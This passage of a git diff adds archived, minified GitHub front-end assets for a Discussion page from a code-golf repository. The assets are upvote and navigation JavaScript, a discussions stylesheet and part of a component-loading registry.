r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Pro